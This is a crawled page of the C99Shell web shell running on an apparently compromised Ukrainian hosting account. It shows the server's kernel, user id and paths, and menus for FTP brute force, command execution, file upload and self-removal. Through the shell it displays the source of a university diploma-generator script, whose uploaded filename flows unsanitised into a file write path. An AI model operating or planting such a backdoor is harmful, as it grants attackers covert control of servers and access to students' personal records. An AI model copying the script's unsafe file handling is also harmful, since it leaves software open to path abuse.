!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/inet-tech.org.ua/diplom/   drwxr-xr-x
Free 106.87 GB of 200.55 GB (53.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (13.3 KB)      -rwxrwxrwx
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

//error_reporting(E_ALL);
if (!function_exists('mb_str_replace')) {
    function 
mb_str_replace($search$replace$subject, &$count 0) {
        if (!
is_array($subject)) {
            
// Normalize $search and $replace so they are both arrays of the same length
            
$searches is_array($search) ? array_values($search) : array($search);
            
$replacements is_array($replace) ? array_values($replace) : array($replace);
            
$replacements array_pad($replacementscount($searches), '');

            foreach (
$searches as $key => $search) {
                
$parts mb_split(preg_quote($search), $subject);
                
$count += count($parts) - 1;
                
$subject implode($replacements[$key], $parts);
            }
        } else {
            
// Call mb_str_replace for each subject in array, recursively
            
foreach ($subject as $key => $value) {
                
$subject[$key] = mb_str_replace($search$replace$value$count);
            }
        }

        return 
$subject;
    }
}
function 
generate($name$data$award)
{
    
/*if ($award == 3)
       $content = file_get_contents("template2016_red.htm");
    else*/
    
$content file_get_contents("template2016_normal.htm");
    
$page_pos_beg strpos($content,'<body lang=RU>')+strlen('<body lang=RU>');
    
$page_pos_end strpos($content,'</body>')-1;
    
$header substr($content,0,$page_pos_beg 1);
    
$page substr($content,$page_pos_beg$page_pos_end $page_pos_beg-1);
    
$footer substr($content,$page_pos_end 1);
    
//$header = file_get_contents("header.xml");
    //$footer = file_get_contents("footer.xml");
    //$page = file_get_contents("page.xml");
    /*header("Cache-Control: public");
     header("Content-Description: File Transfer");
     $fileName = $name.".doc";
     header("Content-Disposition: attachment; filename=$fileName");
     header("Content-Type: application/msword");
     header("Content-Transfer-Encoding: binary");*/
    
ob_start();
    echo 
str_replace('{margins}'file_get_contents("params.dat"), $header);
    
$arr = array();
    foreach(
$data as $row)
    {
        
$keys array_keys($row);
        
$values array_values($row);

        
$arr [] = str_replace($keys$values$page);

    }
    echo 
implode("<div class=WordSection2></div>"$arr);
    echo 
$footer;
    
$html ob_get_contents();
    
ob_end_clean();
    
$path 'files/'.$name;
    
file_put_contents(iconv('cp1251','utf-8',$path), $html);
    return 
$path;
}
function 
download_template($name$data)
{
    
$header file_get_contents("header.xml");
    
$footer file_get_contents("footer.xml");
    
$page file_get_contents("page.xml");

    
ob_start();
    echo 
$header;
    echo 
$page;
    echo 
$footer;
    
$html ob_get_contents();
    
ob_end_clean();
    
$path 'files/'.$name;
    
file_put_contents(iconv('cp1251','utf-8',$path), $html);
    return 
$path;
}

function 
get_text_ukr($ukr)
{
    
$str "<p style='margin-bottom:6pt; margin-top: 0;text-align:center'>";
    if (
$ukr['gender'] == 1$str.= "закінчив"; else $str .= 'закінчила';
    
$str .= " у {$ukr['year']} ";
    
$str .= "<br/><span style='font-weight: bold'>".$ukr['universityname']."</span></p>";
    return 
$str;
}
function 
get_text_eng($eng)
{
    
$str "<p style='margin-bottom:6pt; margin-top: 0;text-align:center'>";
    
$str .= "in {$eng['year']} completed the full course of <br/><span style='font-weight: bold'>Zhytomyr State Technological<br/>University</span> </p>";
    return 
$str;
}

function 
get_date_ukr($ukr)
{
    
$date explode("/"$ukr);
    
$arr = array("""січня""лютого""березня""квітня""травня""червня""липня""серпня""вересня""жовтня""листопада""грудня");
    
//return "{$date[0]} {$arr[(int)$date[1]]} {$date[2]} р.";
    
return "{$date[0]} {$arr[(int)$date[1]]} ";
}
function 
get_date_eng($ukr)
{
    
$date explode("/"$ukr);
    
$arr = array("""January""February""March""April""May""June""July""August""September""October""November""December");
    
//return "{$date[0]} {$arr[(int)$date[1]]} {$date[2]}";
    
return {$arr[(int)$date[1]]} {$date[2]}";
}
/*function get_text_eng($eng)
{
   $str = "in {$eng['year']} completed the full course of {$eng['universityname']} <br/>";
   $str .= "obtained qualification:<br /> ";
   switch($eng['specdirprofcode'][0])
   {
      case '6' : $str .= 'bachelor\'s'; break;
      case '7' : $str .= 'specialist\'s'; break;
      case '8' : $str .= '<b>Master</b> Degree'; break;
   }
   $str .= "<br/> Program Subject Area ";
   $str .= "{$eng['specdirprofcode']} &laquo;".mb_ucfirst($eng['specdirprofname'])."&raquo;<br/>";
   if ($_POST['qualif'])
      $str .= "Professional qualification ". ucfirst($eng['qualification']) ."<br/>";
   return $str;
}*/
function get_qualif_eng($eng)
{
    
/*$str = "in {$eng['year']} completed the full course of {$eng['universityname']} <br/>";*/
    
$str "<p style='margin-bottom:6pt; margin-top:0;'>obtained qualification:</p> ";
    
//$str = "";
    
switch($eng['specdirprofcode'][0])
    {
        case 
'6' $str .= 'bachelor\'s'; break;
        case 
'7' $str .= 'specialist\'s'; break;
        case 
'8' $str .= '<p style="margin-bottom:6pt; margin-top:0;"><b>Master</b> Degree</p>'; break;
    }
    
$str .= "<p style='margin-bottom:6pt; margin-top:0;'><span style=\"font-size:12pt;\">Program Subject Area</span> ";
    
$str .= "{$eng['specdirprofcode']} &laquo;".mb_ucfirst($eng['specdirprofname'])."&raquo;</p>";
    if (
$_POST['qualif'])
        
$str .= "<p style='margin-bottom:6pt; margin-top:0;'><p style='margin-bottom:6pt; margin-top:0;'><span style=\"font-size:12pt;\">Professional Qualification</span> "ucfirst($eng['qualification']) ."</p>";
    return 
$str;
}

function 
get_qualif_ukr($ukr)
{
    
$str "<p style='margin-bottom:6pt; margin-top:0;'>";
    if (
$ukr['gender'] == 1$str .= "здобув"; else $str .='здобула';
    
$str .= " кваліфікацію:</p>";
    switch(
$ukr['specdirprofcode'][0])
    {
        case 
'6' $str .= '<p style="margin-bottom:6pt; margin-top:0;"><span style="font-size:12pt;">ступінь вищої освіти</span> &nbsp;<b>бакалавр</b></p>'; break;
        case 
'7' $str .= '<p style="margin-bottom:6pt; margin-top:0;"><span style="font-size:12pt;">ступінь вищої освіти</span> &nbsp;<b>спеціаліст</b></p>'; break;
        case 
'8' $str .= '<p style="margin-bottom:6pt; margin-top:0;"><span style="font-size:12pt;">ступінь вищої освіти</span> &nbsp;<b>магістр</b></p>'; break;
    }
    
//$str .= "<br/>";
    
switch($ukr['specdirprofcode'][0])
    {
        case 
'6' $str .= "<p style='margin-bottom:6pt; margin-top:0;'><span style=\"font-size:12pt;\">спеціальність</span> "; break;
        case 
'7' $str .= "<p style='margin-bottom:6pt; margin-top:0;'><span style=\"font-size:12pt;\">спеціальність</span> "; break;
        case 
'8' $str .= "<p style='margin-bottom:6pt; margin-top:0;'><span style=\"font-size:12pt;\">спеціальність</span> "; break;
    }
    
$str .= "{$ukr['specdirprofcode']} &laquo;".mb_ucfirst($ukr['specdirprofname'])."&raquo</p>";
    if (
$_POST['qualif'])
        
$str .= "<p style='margin-bottom:6pt; margin-top:0;'><span style=\"font-size:12pt;\">професійна кваліфікація</span> "$ukr['qualification']."</p>";
    return 
$str;
}
function 
get_degree($code$lang)
{
    switch(
$code)
    {
        case 
'6' : if ($lang == 'ukr')
            return 
'ДИПЛОМ БАКАЛАВРА';
        else
            return 
'BACHELOR\'S DIPLOMA';
            break;
        case 
'7' :
            if (
$lang == 'ukr')
                return 
'ДИПЛОМ СПЕЦІАЛІСТА';
            else
                return 
'SPECIALIST\'S DIPLOMA';
            break;
        case 
'8' :
            if (
$lang == 'ukr')
                return 
'ДИПЛОМ МАГІСТРА';
            else
                return 
'MASTER\'S DIPLOMA';
            break;
    }
}
function 
generate_array($ukr$eng)
{
    return array(
        
'{Number}' => "{$ukr['series']} № {$ukr['number']}",
        
'{SurnameUkr}' => "{$ukr['lastname']}",
        
'{NameUkr}' => "{$ukr['firstname']}",
        
'{FatherNameUkr}' => "{$ukr['middlename']}",
        
'{SurnameEng}' => "{$eng['lastname']}",
        
'{NameEng}' => "{$eng['firstname']}",
        
'{FatherNameEng}' => "{$eng['middlename']}",
        
'{TextUkr}' =>  get_text_ukr($ukr),
        
'{QualifUkr}' =>  get_qualif_ukr($ukr),
        
'{Year}' => "{$ukr['year']}",
        
'{QualifEng}' => get_qualif_eng($eng),
        
'{TextEng}' => get_text_eng($eng),
        
'{DateUkr}' => get_date_ukr($ukr['dategive']),
        
'{DateEng}' => get_date_eng($ukr['dategive']),
        
'{DegreeUkr}' => get_degree($eng['specdirprofcode'][0], 'ukr'),
        
'{DegreeEng}' => get_degree($eng['specdirprofcode'][0], 'eng'),
    );
}
mb_internal_encoding("cp1251");
function 
mb_ucfirst($text) {
    return 
mb_strtoupper(mb_substr($text01)) . mb_substr($text1);
}

$file_in_server $_FILES['xmlfile']['tmp_name'];
if (
is_file($file_in_server))
{
    
$xml simplexml_load_file($file_in_server);
    
$year 2015;
    
$arr1 = array();
    
$arr2 = array();
    
$count 0;
    
$studs_male = array();
    
$studs_female = array();
    foreach(
$xml->document as $document)
    {
        
$count++;
        
$data $document->documentdata;
        if (
$data['award'] == 3)
            
$add '<br />';
        else
            
$add '';
        if (
$data['idtypesex'] == 1)
            
$studs_male[] = iconv('utf-8','cp1251',strval($data['firstname'])).' ('.iconv('utf-8','cp1251',$data['fio']).')';
        if (
$data['idtypesex'] == 2)
            
$studs_female[] = iconv('utf-8','cp1251',strval($data['firstname'])).' ('.iconv('utf-8','cp1251',$data['fio']).')';
        
$date $data['dateendeducation'];
        
$a explode("/"$date);
        
$year $a[2];
        
$ukr = array('fio' => strval($data['fio']),
            
'gender' => intval($data['idtypesex']),
            
'year' => $year.' році',
            
'universityname' => iconv('utf-8','cp1251',strval($data['universityname'])),
            
'qualificationname' => iconv('utf-8','cp1251',strval($data['educationqualificationname'])),
            
'specdirprofcode' => iconv('utf-8','cp1251',strval($data['specdirprofcode'])),
            
'specdirprofname' => iconv('utf-8','cp1251',strval($data['specdirprofname'])),
            
'bossworkpost' => iconv('utf-8','cp1251',strval($data['bossworkpost'])),
            
'series' => $add.iconv('utf-8','cp1251',strval($data['series'])),
            
'dategive' => iconv('utf-8','cp1251',strval($data['dategive'])),
            
'number' => iconv('utf-8','cp1251',strval($data['number'])),
            
'lastname' => iconv('utf-8','cp1251',strval($data['lastname'])),
            
'firstname' => iconv('utf-8','cp1251',strval($data['firstname'])),
            
'middlename' => iconv('utf-8','cp1251',strval($data['middlename'])),
            
'qualification' => iconv('utf-8','cp1251',strval($data['educationqualificationname'])),
            
'specdirprofcode' => strval($data['specdirprofcode']),
            
'boss' => 'Євдокимов В.В.',
        );
        
$eng = array('fio' => strval($data['fioen']),
            
'year' => $year,
            
'universityname' => strval($data['universitynameen']),
            
'qualificationname' => strval($data['qualificationnameen']),
            
'specdirprofcode' => strval($data['specdirprofcode']),
            
'specdirprofname' => strval($data['specdirprofnameen']),
            
'bossworkposten' => strval($data['bossworkposten']),
            
'dategive' => iconv('utf-8','cp1251',strval($data['dategive'])),
            
'series' => $add.strval($data['series']),
            
'number' => strval($data['number']),
            
'lastname' => strval($data['lastnameen']),
            
'firstname' => strval($data['firstnameen']),
            
'middlename' => strval($data['middlenameEn']),
            
'qualification' => strval($data['educationqualificationnameen']),
            
'specdirprofcode' => strval($data['specdirprofcode']),
            
'boss' => 'Yevdokymov V.V.',
        );
        if (isset(
$_POST['qualifdelete'])) {
            
$p1 strpos($ukr['qualification'], ',');
            
$p2 strpos($ukr['qualification'], ';');
//       var_dump($p1);
//       var_dump($p2);
            
$p 0;
            if (
$p1 && $p2 0)
                
$p min($p1$p2);
            if (
$p1 && $p2 == 0)
                
$p $p1;
            if (
$p2 && $p1 == 0)
                
$p $p2;
            if (
$p 0)
                
$ukr['qualification'] = substr($ukr['qualification'], $p+1);

            
$p1 strpos($eng['qualification'], ',');
            
$p2 strpos($eng['qualification'], ';');
            
$p 0;
            if (
$p1 && $p2 0)
                
$p min($p1$p2);
            if (
$p1 && $p2 == 0)
                
$p $p1;
            if (
$p2 && $p1 == 0)
                
$p $p2;
            if (
$p 0)
                
$eng['qualification'] = substr($eng['qualification'], $p+1);
        }
        if (
$data['award'] == 3)
            
$arr2[] = generate_array($ukr$eng);
        else
            
$arr1[] = generate_array($ukr$eng);
        
/*echo '<pre>';
        print_r($document);
        echo '</pre>';
        var_dump($ukr);*/

    
}

    
$id uniqid();


    
$path1 generate($_FILES['xmlfile']['name'].'_звичайні_'.$id.'.doc',$arr1);
    
$path2 generate($_FILES['xmlfile']['name'].'_червоні_'.$id.'.doc',$arr2,3);
    echo 
"Всього: {$count} шт.</div>";
    echo 
"<div style=\"margin-top:5px;\"><a href=\"/diplom/{$path1}\">Звичайні дипломи (".count($arr1)." шт.)</a></div>";
    echo 
"<div style=\"margin-top:5px;\"><a href=\"/diplom/{$path2}\">Дипломи з відзнакою (".count($arr2)." шт.)</a></div>";
    echo 
"<br/><br/>";
    echo 
"<strong>Для перевірки:</strong><br/>Студенти чоловічої статі (".count($studs_male)."):";
    echo 
"<ul>";
    for(
$i 0$i count($studs_male); $i++)
        echo 
"<li>{$studs_male[$i]}</li>";
    echo 
"</ul>";
    echo 
"Студенти жіночої статі (".count($studs_female)."):";
    echo 
"<ul>";
    for(
$i 0$i count($studs_female); $i++)
        echo 
"<li>{$studs_female[$i]}</li>";
    echo 
"</ul>";
    echo 
"<div><a href=\"/diplom/\">Повернутися на головну</a></div>";

    die;
}
?>
<!doctype html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
    <meta charset="windows-1251">
</head>
<body>
<h1>Система генерації Word-документів за XML-файлами з інформацією про дипломи</h1>
<form name="" method="post" enctype="multipart/form-data">
    <div><input type="file" name="xmlfile" /></div>
    <div style="margin-top:30px;">
        <label>
            <input type="checkbox" name="qualif" value="true" checked />
            Вказувати кваліфікацію у дипломі
        </label>
    </div>
    <div style="margin-top:30px;">
        <label>
            <input type="checkbox" name="qualifdelete" value="true" />
            Залишити лише професійну кваліфікацію (будуть залишені лише кваліфікації з шифрами)
        </label>
    </div>
    <div style="margin-top:20px;"><button type="submit" style="font-size:20px; padding:10px;">Сформувати Word-файли</button></div>
</form>
</body>
</html>


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0132 ]--